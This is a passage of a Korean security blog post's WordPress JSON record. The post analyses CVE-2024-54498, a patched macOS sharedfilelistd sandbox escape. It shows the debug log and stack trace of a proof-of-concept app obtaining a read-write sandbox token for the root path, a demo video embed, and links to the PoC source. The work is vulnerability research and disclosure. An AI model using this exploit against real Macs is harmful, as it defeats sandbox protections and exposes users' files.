CVE-2024-54498[648:5371] [+] Called sandbox_extension_consume, ret = 2, extension_token = 228a2474e63a51fb2053ff7e315c4cda08003499b72ff3d769482d5d67a94df2;00;00000000;00000000;00000000;0000000000000020;com.apple.app-sandbox.read-write;01;01000013;0000000000000002;02;\/\n2025-01-09 20:59:24.858 CVE-2024-54498[648:5371] [+] sandbox_extension_consume trace: (\n    0   CVE-2024-54498                      0x0000000102caea68 hook_sandbox_extension_consume + 84\n    1   CoreServicesInternal                0x00000001945717fc _ZN21SandboxExtensionCache8_consumeEPK10__CFStringPK8__CFDataPS5_ + 204\n    2   CoreServicesInternal                0x00000001945716a0 _ZN21SandboxExtensionCache7consumeEPK7__CFURLPK8__CFData + 104\n    3   CoreServicesInternal                0x000000019456e738 _FSURLStartAccessingSecurityScopedResource + 84\n    4   CoreFoundation                      0x0000000190c91cf8 CFURLStartAccessingSecurityScopedResource + 16\n    5   CoreFoundation                      0x0000000190c91cbc -[NSURL startAccessingSecurityScopedResource] + 68\n    6   SharedFileList                      0x0000000199d55174 __47-[_SFLItemWrapper initWithItem:listIdentifier:]_block_invoke + 332\n    7   SharedFileList                      0x0000000199d54c84 -[SFLBookmark resolveWithOptions:relativeToURL:error:] + 128\n    8   SharedFileList                      0x0000000199d54ac8 +[SFLList(LSSharedFileListSupport) resolveItem:resolutionFlags:error:] + 84\n    9   SharedFileList                      0x0000000199d60e64 LSSharedFileListItemCopyResolvedURL + 144\n    10  CVE-2024-54498                      0x0000000102cae45c trigger_exploit + 336\n    11  CVE-2024-54498                      0x0000000102cae8a4 -[ViewController exploitButton:] + 268\n    12  AppKit                              0x00000001948ec87c -[NSApplication(NSResponder) sendAction:to:from:] + 460\n    13  AppKit                              0x00000001948ec680 -[NSControl sendAction:to:] + 72\n    14  AppKit                              0x00000001948ec5c4 __26-[NSCell _sendActionFrom:]_block_invoke + 100\n    15  AppKit                              0x00000001948ec4ec -[NSCell _sendActionFrom:] + 204\n    16  AppKit                              0x00000001948ec3e8 -[NSButtonCell _sendActionFrom:] + 96\n    17  AppKit                              0x00000001948e9970 NSControlTrackMouse + 1480\n    18  AppKit                              0x00000001948e937c -[NSCell trackMouse:inRect:ofView:untilMouseUp:] + 144\n    19  AppKit                              0x00000001948e91f4 -[NSButtonCell trackMouse:inRect:ofView:untilMouseUp:] + 580\n    20  AppKit                              0x00000001948e8678 -[NSControl mouseDown:] + 448\n    21  AppKit                              0x00000001948e7518 -[NSWindow(NSEventRouting) _handleMouseDownEvent:isDelayedEvent:] + 3672\n    22  AppKit                              0x000000019487300c -[NSWindow(NSEventRouting) _reallySendEvent:isDelayedEvent:] + 384\n    23  AppKit                              0x0000000194872cbc -[NSWindow(NSEventRouting) sendEvent:] + 284\n    24  AppKit                              0x000000019508abf0 -[NSApplication(NSEventRouting) sendEvent:] + 1656\n    25  AppKit                              0x0000000194c9889c -[NSApplication _handleEvent:] + 60\n    26  AppKit                              0x000000019473eb08 -[NSApplication run] + 520\n    27  AppKit                              0x0000000194715364 NSApplicationMain + 888\n    28  CVE-2024-54498                      0x0000000102cadf78 main + 44\n    29  dyld                                0x00000001907b8274 start + 2840\n)\n\n<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"attachment:c46eb99c-c7b2-41f9-b2e0-73c7883416b6:image10.png\" alt=\"image10.png\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Demo<\/h2>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<div class=\"nv-iframe-embed\"><iframe loading=\"lazy\" title=\"CVE-2024-54498 Demo\" width=\"1200\" height=\"675\" src=\"https:\/\/www.youtube.com\/embed\/0a_W8PpH0k8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/div>\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Source Code https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/ Write-up https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/blob\/main\/CVE-2024-54498_1day_%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8.pdf \ud574\ub2f9 \ucde8\uc57d\uc810\uc740 macOS Sequoia 15.2, Ventura 13.7.2, Sonoma 14.7.2\uc5d0\uc11c \ud328\uce58\ub418\uc5c8\uc73c\uba70, \uc0cc\ub4dc\ubc15\uc2a4\ub97c \ud0c8\ucd9c\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4. SharedFileList \uc11c\ube44\uc2a4\uc5d0\uc11c \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud55c\ub2e4. Diffing \ucde8\uc57d\ud55c macOS 15.1.1 \ubc84\uc804\uacfc \ud328\uce58\ub41c&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3750\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[1day] CVE-2024-54498: sharedfilelistd: \ub8e8\ud2b8 \uacbd\ub85c\uc5d0 \ub300\ud55c \uc0cc\ub4dc\ubc15\uc2a4 \uc77d\uae30\/\uc4f0\uae30 \ud1a0\ud070 \ubc1c\uae09 \ucde8\uc57d\uc810<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[13],"class_list":["post-3750","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-macos"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3750","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3750"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3750\/revisions"}],"predecessor-version":[{"id":3916,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3750\/revisions\/3916"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3750"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3750"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3750"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}